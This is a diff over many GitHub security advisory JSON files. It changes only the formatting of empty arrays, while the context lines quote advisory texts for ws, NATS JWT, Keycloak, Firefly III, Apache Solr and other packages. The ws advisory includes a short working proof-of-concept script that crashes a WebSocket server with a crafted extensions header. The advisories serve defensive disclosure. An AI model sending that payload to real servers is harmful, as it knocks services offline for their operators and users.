diff --git a/advisories/github-reviewed/2019/06/GHSA-5v72-xg48-5rpm/GHSA-5v72-xg48-5rpm.json b/advisories/github-reviewed/2019/06/GHSA-5v72-xg48-5rpm/GHSA-5v72-xg48-5rpm.json index 0394b60da5a..8f92a6ea75b 100644 --- a/advisories/github-reviewed/2019/06/GHSA-5v72-xg48-5rpm/GHSA-5v72-xg48-5rpm.json +++ b/advisories/github-reviewed/2019/06/GHSA-5v72-xg48-5rpm/GHSA-5v72-xg48-5rpm.json @@ -3,9 +3,7 @@ "id": "GHSA-5v72-xg48-5rpm", "modified": "2021-08-04T21:29:05Z", "published": "2019-06-04T19:37:52Z", - "aliases": [ - - ], + "aliases": [], "summary": "Denial of Service in ws", "details": "Affected versions of `ws` can crash when a specially crafted `Sec-WebSocket-Extensions` header containing `Object.prototype` property names as extension or parameter names is sent.\n\n## Proof of concept\n\n```\nconst WebSocket = require('ws');\nconst net = require('net');\n\nconst wss = new WebSocket.Server({ port: 3000 }, function () {\n const payload = 'constructor'; // or ',;constructor'\n\n const request = [\n 'GET / HTTP/1.1',\n 'Connection: Upgrade',\n 'Sec-WebSocket-Key: test',\n 'Sec-WebSocket-Version: 8',\n `Sec-WebSocket-Extensions: ${payload}`,\n 'Upgrade: websocket',\n '\\r\\n'\n ].join('\\r\\n');\n\n const socket = net.connect(3000, function () {\n socket.resume();\n socket.write(request);\n });\n});\n```\n\n\n## Recommendation\n\nUpdate to version 3.3.1 or later.", "severity": [ diff --git a/advisories/github-reviewed/2021/05/GHSA-hmm9-r2m2-qg9w/GHSA-hmm9-r2m2-qg9w.json b/advisories/github-reviewed/2021/05/GHSA-hmm9-r2m2-qg9w/GHSA-hmm9-r2m2-qg9w.json index 0bccc23962c..9f5446888cf 100644 --- a/advisories/github-reviewed/2021/05/GHSA-hmm9-r2m2-qg9w/GHSA-hmm9-r2m2-qg9w.json +++ b/advisories/github-reviewed/2021/05/GHSA-hmm9-r2m2-qg9w/GHSA-hmm9-r2m2-qg9w.json @@ -3,9 +3,7 @@ "id": "GHSA-hmm9-r2m2-qg9w", "modified": "2023-08-30T18:06:49Z", "published": "2021-05-21T16:22:10Z", - "aliases": [ - - ], + "aliases": [], "summary": "Nil dereference in NATS JWT causing DoS of nats-server", "details": "(This advisory is canonically )\n\n## Problem Description\n\nThe NATS account system has an Operator trusted by the servers, which signs Accounts, and each Account can then create and sign Users within their account. The Operator should be able to safely issue Accounts to other entities which it does not fully trust.\n\nA malicious Account could create and sign a User JWT with a state not created by the normal tooling, such that decoding by the NATS JWT library (written in Go) would attempt a nil dereference, aborting execution.\n\nThe NATS Server is known to be impacted by this.\n\n\n## Affected versions\n\n#### JWT library\n\n * all versions prior to 1.1.0\n\n#### NATS Server\n\n * Version 2 prior to 2.1.9\n\n\n## Impact\n\n#### JWT library\n\n * Programs would nil dereference and panic, aborting execution by default.\n\n#### NATS server\n\n * Denial of Service caused by process termination\n\n\n## Workaround\n\nIf your NATS servers do not trust any accounts which are managed by untrusted entities, then malformed User credentials are unlikely to be encountered.\n\n\n## Solution\n\nUpgrade the JWT dependency in any application using it.\n\nUpgrade the NATS server if using NATS Accounts.", "severity": [ diff --git a/advisories/github-reviewed/2022/02/GHSA-h2x7-2ff6-v32p/GHSA-h2x7-2ff6-v32p.json b/advisories/github-reviewed/2022/02/GHSA-h2x7-2ff6-v32p/GHSA-h2x7-2ff6-v32p.json index ad4e0be22a5..5df61262bb1 100644 --- a/advisories/github-reviewed/2022/02/GHSA-h2x7-2ff6-v32p/GHSA-h2x7-2ff6-v32p.json +++ b/advisories/github-reviewed/2022/02/GHSA-h2x7-2ff6-v32p/GHSA-h2x7-2ff6-v32p.json @@ -3,9 +3,7 @@ "id": "GHSA-h2x7-2ff6-v32p", "modified": "2023-08-30T18:02:56Z", "published": "2022-02-11T23:39:57Z", - "aliases": [ - - ], + "aliases": [], "summary": "gobase subject to Incorrect routing of some HTTP requests when using httpauth due to a race condition", "details": "### Impact\nIncorrect routing of some HTTP requests when using httpauth due to a race condition\n\n### Patches\nUpgrade to version 0.7.2 for fix\n\n### Workarounds\nNone\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [nbosscher@blue-giraffe.ca](mailto:nbosscher@blue-giraffe.ca)", "severity": [ diff --git a/advisories/github-reviewed/2022/04/GHSA-g3vv-g2j5-45f2/GHSA-g3vv-g2j5-45f2.json b/advisories/github-reviewed/2022/04/GHSA-g3vv-g2j5-45f2/GHSA-g3vv-g2j5-45f2.json index 6a69b79bd58..0a4d8f60acc 100644 --- a/advisories/github-reviewed/2022/04/GHSA-g3vv-g2j5-45f2/GHSA-g3vv-g2j5-45f2.json +++ b/advisories/github-reviewed/2022/04/GHSA-g3vv-g2j5-45f2/GHSA-g3vv-g2j5-45f2.json @@ -3,9 +3,7 @@ "id": "GHSA-g3vv-g2j5-45f2", "modified": "2023-08-30T17:56:37Z", "published": "2022-04-08T22:08:45Z", - "aliases": [ - - ], + "aliases": [], "summary": "ipld/go-codec-dagpb panics when processing certain blocks", "details": "### Impact \nDecoding certain blocks using the go-ipld-prime version of the dag-pb codec (go-codec-dagpb) can cause a panic. The panic comes from an assumption that the reported link length is accurate, but if the block ends before that reported length then it’s a buffer overread.\n\n### Patches\nThe issue is fixed in v1.3.1 and above.\n\nConsumers can discover the versions of `go-codec-dagpb` in a module's dependency graph using the following command in the module root:\n\n```go mod graph | grep go-codec-dagpb```\n\n### Workarounds\nYou can work around this issue without upgrading by recovering panics higher in the call stack of the goroutine that calls the defective code.\n\n### For more information\nIf you have any questions or comments about this advisory:\n\n* Ask in [IPFS Discord #ipld-chatter](https://discord.gg/ipfs)\n* Open an issue in [go-codec-dagpb](https://github.com/ipld/go-codec-dagpb)", "severity": [ diff --git a/advisories/github-reviewed/2022/05/GHSA-77m7-9wvw-87fx/GHSA-77m7-9wvw-87fx.json b/advisories/github-reviewed/2022/05/GHSA-77m7-9wvw-87fx/GHSA-77m7-9wvw-87fx.json index 52123d38a30..7fb78709133 100644 --- a/advisories/github-reviewed/2022/05/GHSA-77m7-9wvw-87fx/GHSA-77m7-9wvw-87fx.json +++ b/advisories/github-reviewed/2022/05/GHSA-77m7-9wvw-87fx/GHSA-77m7-9wvw-87fx.json @@ -54,9 +54,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "HIGH", "github_reviewed": true, "github_reviewed_at": "2022-05-23T20:10:38Z", diff --git a/advisories/github-reviewed/2022/05/GHSA-cxwh-vmhg-39r2/GHSA-cxwh-vmhg-39r2.json b/advisories/github-reviewed/2022/05/GHSA-cxwh-vmhg-39r2/GHSA-cxwh-vmhg-39r2.json index c69d6250233..a5de76b3010 100644 --- a/advisories/github-reviewed/2022/05/GHSA-cxwh-vmhg-39r2/GHSA-cxwh-vmhg-39r2.json +++ b/advisories/github-reviewed/2022/05/GHSA-cxwh-vmhg-39r2/GHSA-cxwh-vmhg-39r2.json @@ -8,9 +8,7 @@ ], "summary": "Improper Restriction of Operations within the Bounds of a Memory Buffer in Apache Sling", "details": "The deepGetOrCreateNode function in impl/operations/AbstractCreateOperation.java in org.apache.sling.servlets.post.bundle 2.2.0 and 2.3.0 in Apache Sling does not properly handle a NULL value that returned when the session does not have permissions to the root node, which allows remote attackers to cause a denial of service (infinite loop) via unspecified vectors.", - "severity": [ - - ], + "severity": [], "affected": [ { "package": { diff --git a/advisories/github-reviewed/2023/12/GHSA-5968-qw33-h47j/GHSA-5968-qw33-h47j.json b/advisories/github-reviewed/2023/12/GHSA-5968-qw33-h47j/GHSA-5968-qw33-h47j.json index a4f10e89dd4..4f4453f9211 100644 --- a/advisories/github-reviewed/2023/12/GHSA-5968-qw33-h47j/GHSA-5968-qw33-h47j.json +++ b/advisories/github-reviewed/2023/12/GHSA-5968-qw33-h47j/GHSA-5968-qw33-h47j.json @@ -4,9 +4,7 @@ "modified": "2023-12-18T19:30:55Z", "published": "2023-12-15T00:31:03Z", "withdrawn": "2023-12-18T19:30:55Z", - "aliases": [ - - ], + "aliases": [], "summary": "Duplicate Advisory: Keycloak vulnerable to reflected XSS via wildcard in OIDC redirect_uri", "details": "## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-cvg2-7c3j-g36j. This link is maintained to preserve external references.\n\n## Original Description\nA flaw was found in Keycloak that prevents certain schemes in redirects, but permits them if a wildcard is appended to the token. This issue could allow an attacker to submit a specially crafted request leading to cross-site scripting (XSS) or further attacks. This flaw is the result of an incomplete fix for CVE-2020-10748.", "severity": [ diff --git a/advisories/github-reviewed/2024/01/GHSA-29w6-c52g-m8jc/GHSA-29w6-c52g-m8jc.json b/advisories/github-reviewed/2024/01/GHSA-29w6-c52g-m8jc/GHSA-29w6-c52g-m8jc.json index 4776e870c8d..d908e017efc 100644 --- a/advisories/github-reviewed/2024/01/GHSA-29w6-c52g-m8jc/GHSA-29w6-c52g-m8jc.json +++ b/advisories/github-reviewed/2024/01/GHSA-29w6-c52g-m8jc/GHSA-29w6-c52g-m8jc.json @@ -3,9 +3,7 @@ "id": "GHSA-29w6-c52g-m8jc", "modified": "2024-01-31T18:05:46Z", "published": "2024-01-31T18:05:46Z", - "aliases": [ - - ], + "aliases": [], "summary": "C5 Firefly III CSV Injection.", "details": "### Summary\nCSV injection is a vulnerability where untrusted user input in CSV files can lead to unauthorized access or data manipulation. \nIn my subsequent testing of the application.\n\n### Details\nI discovered that there is an option to \"Export Data\" from the web app to your personal computer, which exports a \"csv\" file that can be opened with Excel software that supports macros.\n\nP.S \nI discovered that the web application's is offering a demo-site that anyone may access to play with the web application. So, there's a chance that someone will export the data (CVS) from the demo site and execute it on their PC, giving the malicious actor a complete control over their machine. (if a user enters a malicious payload to the website).\n\n### PoC\nYou can check out my vulnerability report if you need more details/PoC with screenshots: (removed by JC5)\n\n### Impact\nAn attacker can exploit this by entering a specially crafted payload to one of the fields, and when a user export the csv file using the \"Export Data\" function, the attacker can potentiality can RCE.\n\n### Addendum by JC5, the developer of Firefly III\nThere is zero impact on normal users, even on vulnerable versions.", "severity": [ @@ -46,9 +44,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": true, "github_reviewed_at": "2024-01-31T18:05:46Z", diff --git a/advisories/github-reviewed/2024/01/GHSA-7g9j-g5jg-3vv3/GHSA-7g9j-g5jg-3vv3.json b/advisories/github-reviewed/2024/01/GHSA-7g9j-g5jg-3vv3/GHSA-7g9j-g5jg-3vv3.json index 3c7aca10bc7..98a6b9dc01b 100644 --- a/advisories/github-reviewed/2024/01/GHSA-7g9j-g5jg-3vv3/GHSA-7g9j-g5jg-3vv3.json +++ b/advisories/github-reviewed/2024/01/GHSA-7g9j-g5jg-3vv3/GHSA-7g9j-g5jg-3vv3.json @@ -3,14 +3,10 @@ "id": "GHSA-7g9j-g5jg-3vv3", "modified": "2024-02-09T18:47:01Z", "published": "2024-01-24T20:53:48Z", - "aliases": [ - - ], + "aliases": [], "summary": "Unauthenticated Nonce Increment in snow", "details": "### Impact\nThere was a logic bug where unauthenticated payloads could still cause a nonce increment in snow's internal state. For an attacker with the ability to inject packets into the channel Noise is talking over, this allows a denial-of-service type attack which could prevent communication as it causes the sending and receiving side to be expecting different nonce values than would arrive.\n\nNote that this only affects those who are using the stateful `TransportState`, not those using `StatelessTransportState`.\n\n### Patches\nThis has been patched in version 0.9.5, and all users are recommended to update.\n\n### References\nThere will be a more formal report of this in the near future.\n", - "severity": [ - - ], + "severity": [], "affected": [ { "package": { diff --git a/advisories/github-reviewed/2024/01/GHSA-r67w-f99w-mgxj/GHSA-r67w-f99w-mgxj.json b/advisories/github-reviewed/2024/01/GHSA-r67w-f99w-mgxj/GHSA-r67w-f99w-mgxj.json index 63d4ed28501..1ba3951eb2b 100644 --- a/advisories/github-reviewed/2024/01/GHSA-r67w-f99w-mgxj/GHSA-r67w-f99w-mgxj.json +++ b/advisories/github-reviewed/2024/01/GHSA-r67w-f99w-mgxj/GHSA-r67w-f99w-mgxj.json @@ -8,9 +8,7 @@ ], "summary": "ReDoS in Embedchain", "details": "The JSON loader in Embedchain before 0.1.57 allows a ReDoS (regular expression denial of service) via a long string to json.py.", - "severity": [ - - ], + "severity": [], "affected": [ { "package": { diff --git a/advisories/github-reviewed/2024/02/GHSA-37vr-vmg4-jwpw/GHSA-37vr-vmg4-jwpw.json b/advisories/github-reviewed/2024/02/GHSA-37vr-vmg4-jwpw/GHSA-37vr-vmg4-jwpw.json index fe52f85c8b5..50ba0638d3a 100644 --- a/advisories/github-reviewed/2024/02/GHSA-37vr-vmg4-jwpw/GHSA-37vr-vmg4-jwpw.json +++ b/advisories/github-reviewed/2024/02/GHSA-37vr-vmg4-jwpw/GHSA-37vr-vmg4-jwpw.json @@ -8,9 +8,7 @@ ], "summary": "Apache Solr: Backup/Restore APIs allow for deployment of executables in malicious ConfigSets ", "details": "Improper Control of Dynamically-Managed Code Resources, Unrestricted Upload of File with Dangerous Type, Inclusion of Functionality from Untrusted Control Sphere vulnerability in Apache Solr.This issue affects Apache Solr from 6.0.0 through 8.11.2, from 9.0.0 before 9.4.1.\n\nIn the affected versions, Solr ConfigSets accepted Java jar and class files to be uploaded through the ConfigSets API.\nWhen backing up Solr Collections, these configSet files would be saved to disk when using the LocalFileSystemRepository (the default for backups).\nIf the backup was saved to a directory that Solr uses in its ClassPath/ClassLoaders, then the jar and class files would be available to use with any ConfigSet, trusted or untrusted.\n\nWhen Solr is run in a secure way (Authorization enabled), as is strongly suggested, this vulnerability is limited to extending the Backup permissions with the ability to add libraries.\nUsers are recommended to upgrade to version 8.11.3 or 9.4.1, which fix the issue.\nIn these versions, the following protections have been added:\n\n * Users are no longer able to upload files to a configSet that could be executed via a Java ClassLoader.\n * The Backup API restricts saving backups to directories that are used in the ClassLoader.", - "severity": [ - - ], + "severity": [], "affected": [ { "package": { diff --git a/advisories/github-reviewed/2024/02/GHSA-c4cm-r9fh-jgj9/GHSA-c4cm-r9fh-jgj9.json b/advisories/github-reviewed/2024/02/GHSA-c4cm-r9fh-jgj9/GHSA-c4cm-r9fh-jgj9.json index 290754ba01b..b0c11d70345 100644 --- a/advisories/github-reviewed/2024/02/GHSA-c4cm-r9fh-jgj9/GHSA-c4cm-r9fh-jgj9.json +++ b/advisories/github-reviewed/2024/02/GHSA-c4cm-r9fh-jgj9/GHSA-c4cm-r9fh-jgj9.json @@ -3,14 +3,10 @@ "id": "GHSA-c4cm-r9fh-jgj9", "modified": "2024-02-09T17:04:47Z", "published": "2024-02-09T17:04:47Z", - "aliases": [ - - ], + "aliases": [], "summary": "commonground-api-common unexploitable privilege escalation in JWT authentication middleware", "details": "### Impact\n\nThis is a privilege escalation vulnerability. The impact is negligible and entirely theoretical.\n\nA non-exploitable weakness was found in how the client-supplied JWTs are verified. Because an explicit allow-list\nof known algorithms is used in the PyJWT library, user-supplied (invalid) algorithms are rejected.\n\nIf this was not the case, then the client JWTs could be tampered with, resulting in privilege escalation which\nwould allow the attacker to perform any operation as any client (impersonation) without leaving a trace of\nthe real user/client.\n\n\n### Patches\n\nWill be fixed in 1.12.2\n\n### Workarounds\n\nNone needed. But be careful when updating PyJWT. Check that the used PyJWT has no algorithms specified with a name in \"\", \"HS25\", \"HS2\", \"HS\", \"H\", or that those algorithms are acceptable.\n\n### Details\n\nThe header and payload of JSON Web Tokens (JWTs) are cryptographically signed with an algorithm. A JWT has a header field `alg` that specifies the algorithm used in the signature.\n\nThe `vng-api-common.middleware.AuthMiddleware` uses PyJWT to check the validity of JWT and indicates it should be \"HS256\", otherwise an attacker could construct a token with a cryptographically weak token. It should indicate this with a list of acceptable algorithms `[\"HS256\"]`, but instead the string `\"HS256\"` is passed to PyJWT. PyJWT does not check the type of the argument and checks if the `alg` string in the header exists in the acceptable algorithms value with the `in` operator. Any substring of `\"HS256\"` passes this `in` check. It is not exploitable because there is no such substring in de set of algorithms PyJWT supports.", - "severity": [ - - ], + "severity": [], "affected": [ { "package": { @@ -81,9 +77,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "LOW", "github_reviewed": true, "github_reviewed_at": "2024-02-09T17:04:47Z", diff --git a/advisories/github-reviewed/2024/02/GHSA-rr69-rxr6-8qwf/GHSA-rr69-rxr6-8qwf.json b/advisories/github-reviewed/2024/02/GHSA-rr69-rxr6-8qwf/GHSA-rr69-rxr6-8qwf.json index c35797a02fc..3dc3813bd89 100644 --- a/advisories/github-reviewed/2024/02/GHSA-rr69-rxr6-8qwf/GHSA-rr69-rxr6-8qwf.json +++ b/advisories/github-reviewed/2024/02/GHSA-rr69-rxr6-8qwf/GHSA-rr69-rxr6-8qwf.json @@ -3,9 +3,7 @@ "id": "GHSA-rr69-rxr6-8qwf", "modified": "2024-02-09T16:03:32Z", "published": "2024-02-09T16:03:32Z", - "aliases": [ - - ], + "aliases": [], "summary": "serde-json-wasm stack overflow during recursive JSON parsing", "details": "When parsing untrusted, deeply nested JSON, the stack may overflow, possibly enabling a Denial of Service attack. This was fixed by adding a check for recursion depth.\n", "severity": [ @@ -76,9 +74,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "HIGH", "github_reviewed": true, "github_reviewed_at": "2024-02-09T16:03:32Z", diff --git a/advisories/unreviewed/2022/01/GHSA-6rrc-7vqp-364c/GHSA-6rrc-7vqp-364c.json b/advisories/unreviewed/2022/01/GHSA-6rrc-7vqp-364c/GHSA-6rrc-7vqp-364c.json index 867127c6e2d..cbf85f62ba0 100644 --- a/advisories/unreviewed/2022/01/GHSA-6rrc-7vqp-364c/GHSA-6rrc-7vqp-364c.json +++ b/advisories/unreviewed/2022/01/GHSA-6rrc-7vqp-364c/GHSA-6rrc-7vqp-364c.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/01/GHSA-9j8g-8qg8-33fc/GHSA-9j8g-8qg8-33fc.json b/advisories/unreviewed/2022/01/GHSA-9j8g-8qg8-33fc/GHSA-9j8g-8qg8-33fc.json index 1065aa7e62c..aafd41e2728 100644 --- a/advisories/unreviewed/2022/01/GHSA-9j8g-8qg8-33fc/GHSA-9j8g-8qg8-33fc.json +++ b/advisories/unreviewed/2022/01/GHSA-9j8g-8qg8-33fc/GHSA-9j8g-8qg8-33fc.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/02/GHSA-24xv-3279-x7hj/GHSA-24xv-3279-x7hj.json b/advisories/unreviewed/2022/02/GHSA-24xv-3279-x7hj/GHSA-24xv-3279-x7hj.json index 33d00d40bb8..9eec9179e80 100644 --- a/advisories/unreviewed/2022/02/GHSA-24xv-3279-x7hj/GHSA-24xv-3279-x7hj.json +++ b/advisories/unreviewed/2022/02/GHSA-24xv-3279-x7hj/GHSA-24xv-3279-x7hj.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/02/GHSA-3rrw-2rpr-xr39/GHSA-3rrw-2rpr-xr39.json b/advisories/unreviewed/2022/02/GHSA-3rrw-2rpr-xr39/GHSA-3rrw-2rpr-xr39.json index 8ebe8ccc8bc..e06ad8aae57 100644 --- a/advisories/unreviewed/2022/02/GHSA-3rrw-2rpr-xr39/GHSA-3rrw-2rpr-xr39.json +++ b/advisories/unreviewed/2022/02/GHSA-3rrw-2rpr-xr39/GHSA-3rrw-2rpr-xr39.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/02/GHSA-64rc-xhxr-jxgw/GHSA-64rc-xhxr-jxgw.json b/advisories/unreviewed/2022/02/GHSA-64rc-xhxr-jxgw/GHSA-64rc-xhxr-jxgw.json index bd379a0c1d3..213a6e94742 100644 --- a/advisories/unreviewed/2022/02/GHSA-64rc-xhxr-jxgw/GHSA-64rc-xhxr-jxgw.json +++ b/advisories/unreviewed/2022/02/GHSA-64rc-xhxr-jxgw/GHSA-64rc-xhxr-jxgw.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/02/GHSA-8927-m9qj-7wh3/GHSA-8927-m9qj-7wh3.json b/advisories/unreviewed/2022/02/GHSA-8927-m9qj-7wh3/GHSA-8927-m9qj-7wh3.json index eb4d77fc9e8..208e715494e 100644 --- a/advisories/unreviewed/2022/02/GHSA-8927-m9qj-7wh3/GHSA-8927-m9qj-7wh3.json +++ b/advisories/unreviewed/2022/02/GHSA-8927-m9qj-7wh3/GHSA-8927-m9qj-7wh3.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/02/GHSA-9wfw-3rhc-xc4g/GHSA-9wfw-3rhc-xc4g.json b/advisories/unreviewed/2022/02/GHSA-9wfw-3rhc-xc4g/GHSA-9wfw-3rhc-xc4g.json index 3ea65ed9eee..7b4e4a82085 100644 --- a/advisories/unreviewed/2022/02/GHSA-9wfw-3rhc-xc4g/GHSA-9wfw-3rhc-xc4g.json +++ b/advisories/unreviewed/2022/02/GHSA-9wfw-3rhc-xc4g/GHSA-9wfw-3rhc-xc4g.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/02/GHSA-c3x8-gg69-x2jw/GHSA-c3x8-gg69-x2jw.json b/advisories/unreviewed/2022/02/GHSA-c3x8-gg69-x2jw/GHSA-c3x8-gg69-x2jw.json index c14cc63a148..7d21dfda4de 100644 --- a/advisories/unreviewed/2022/02/GHSA-c3x8-gg69-x2jw/GHSA-c3x8-gg69-x2jw.json +++ b/advisories/unreviewed/2022/02/GHSA-c3x8-gg69-x2jw/GHSA-c3x8-gg69-x2jw.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/02/GHSA-g296-pch4-8795/GHSA-g296-pch4-8795.json b/advisories/unreviewed/2022/02/GHSA-g296-pch4-8795/GHSA-g296-pch4-8795.json index 76659d2159d..d5c2413ecb8 100644 --- a/advisories/unreviewed/2022/02/GHSA-g296-pch4-8795/GHSA-g296-pch4-8795.json +++ b/advisories/unreviewed/2022/02/GHSA-g296-pch4-8795/GHSA-g296-pch4-8795.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/02/GHSA-gf7q-r6ff-xwg6/GHSA-gf7q-r6ff-xwg6.json b/advisories/unreviewed/2022/02/GHSA-gf7q-r6ff-xwg6/GHSA-gf7q-r6ff-xwg6.json index 0274c43b1a9..323d12459d6 100644 --- a/advisories/unreviewed/2022/02/GHSA-gf7q-r6ff-xwg6/GHSA-gf7q-r6ff-xwg6.json +++ b/advisories/unreviewed/2022/02/GHSA-gf7q-r6ff-xwg6/GHSA-gf7q-r6ff-xwg6.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/02/GHSA-p22v-mfhv-699w/GHSA-p22v-mfhv-699w.json b/advisories/unreviewed/2022/02/GHSA-p22v-mfhv-699w/GHSA-p22v-mfhv-699w.json index a8105533bcb..fb9ef15f21a 100644 --- a/advisories/unreviewed/2022/02/GHSA-p22v-mfhv-699w/GHSA-p22v-mfhv-699w.json +++ b/advisories/unreviewed/2022/02/GHSA-p22v-mfhv-699w/GHSA-p22v-mfhv-699w.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/02/GHSA-vr8w-w2cj-h372/GHSA-vr8w-w2cj-h372.json b/advisories/unreviewed/2022/02/GHSA-vr8w-w2cj-h372/GHSA-vr8w-w2cj-h372.json index 986134afea7..a309cd89656 100644 --- a/advisories/unreviewed/2022/02/GHSA-vr8w-w2cj-h372/GHSA-vr8w-w2cj-h372.json +++ b/advisories/unreviewed/2022/02/GHSA-vr8w-w2cj-h372/GHSA-vr8w-w2cj-h372.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/02/GHSA-vwmp-5fxw-2gwj/GHSA-vwmp-5fxw-2gwj.json b/advisories/unreviewed/2022/02/GHSA-vwmp-5fxw-2gwj/GHSA-vwmp-5fxw-2gwj.json index abb174304a7..87b985ef74c 100644 --- a/advisories/unreviewed/2022/02/GHSA-vwmp-5fxw-2gwj/GHSA-vwmp-5fxw-2gwj.json +++ b/advisories/unreviewed/2022/02/GHSA-vwmp-5fxw-2gwj/GHSA-vwmp-5fxw-2gwj.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/02/GHSA-x4cj-7x5p-w7vf/GHSA-x4cj-7x5p-w7vf.json b/advisories/unreviewed/2022/02/GHSA-x4cj-7x5p-w7vf/GHSA-x4cj-7x5p-w7vf.json index a1ac5819e9d..aa4069c32a4 100644 --- a/advisories/unreviewed/2022/02/GHSA-x4cj-7x5p-w7vf/GHSA-x4cj-7x5p-w7vf.json +++ b/advisories/unreviewed/2022/02/GHSA-x4cj-7x5p-w7vf/GHSA-x4cj-7x5p-w7vf.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/02/GHSA-x68j-pwcm-v888/GHSA-x68j-pwcm-v888.json b/advisories/unreviewed/2022/02/GHSA-x68j-pwcm-v888/GHSA-x68j-pwcm-v888.json index 0719a5b69dc..19628a7a134 100644 --- a/advisories/unreviewed/2022/02/GHSA-x68j-pwcm-v888/GHSA-x68j-pwcm-v888.json +++ b/advisories/unreviewed/2022/02/GHSA-x68j-pwcm-v888/GHSA-x68j-pwcm-v888.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/02/GHSA-xmwx-6752-9m3f/GHSA-xmwx-6752-9m3f.json b/advisories/unreviewed/2022/02/GHSA-xmwx-6752-9m3f/GHSA-xmwx-6752-9m3f.json index 8461d88e0a4..c59b87dcfc1 100644 --- a/advisories/unreviewed/2022/02/GHSA-xmwx-6752-9m3f/GHSA-xmwx-6752-9m3f.json +++ b/advisories/unreviewed/2022/02/GHSA-xmwx-6752-9m3f/GHSA-xmwx-6752-9m3f.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/03/GHSA-2vh7-8384-w472/GHSA-2vh7-8384-w472.json b/advisories/unreviewed/2022/03/GHSA-2vh7-8384-w472/GHSA-2vh7-8384-w472.json index b150ae0a169..168f8651976 100644 --- a/advisories/unreviewed/2022/03/GHSA-2vh7-8384-w472/GHSA-2vh7-8384-w472.json +++ b/advisories/unreviewed/2022/03/GHSA-2vh7-8384-w472/GHSA-2vh7-8384-w472.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/03/GHSA-34r5-hj3h-jf22/GHSA-34r5-hj3h-jf22.json b/advisories/unreviewed/2022/03/GHSA-34r5-hj3h-jf22/GHSA-34r5-hj3h-jf22.json index 406f7140202..697bca13108 100644 --- a/advisories/unreviewed/2022/03/GHSA-34r5-hj3h-jf22/GHSA-34r5-hj3h-jf22.json +++ b/advisories/unreviewed/2022/03/GHSA-34r5-hj3h-jf22/GHSA-34r5-hj3h-jf22.json @@ -13,9 +13,7 @@ "score": 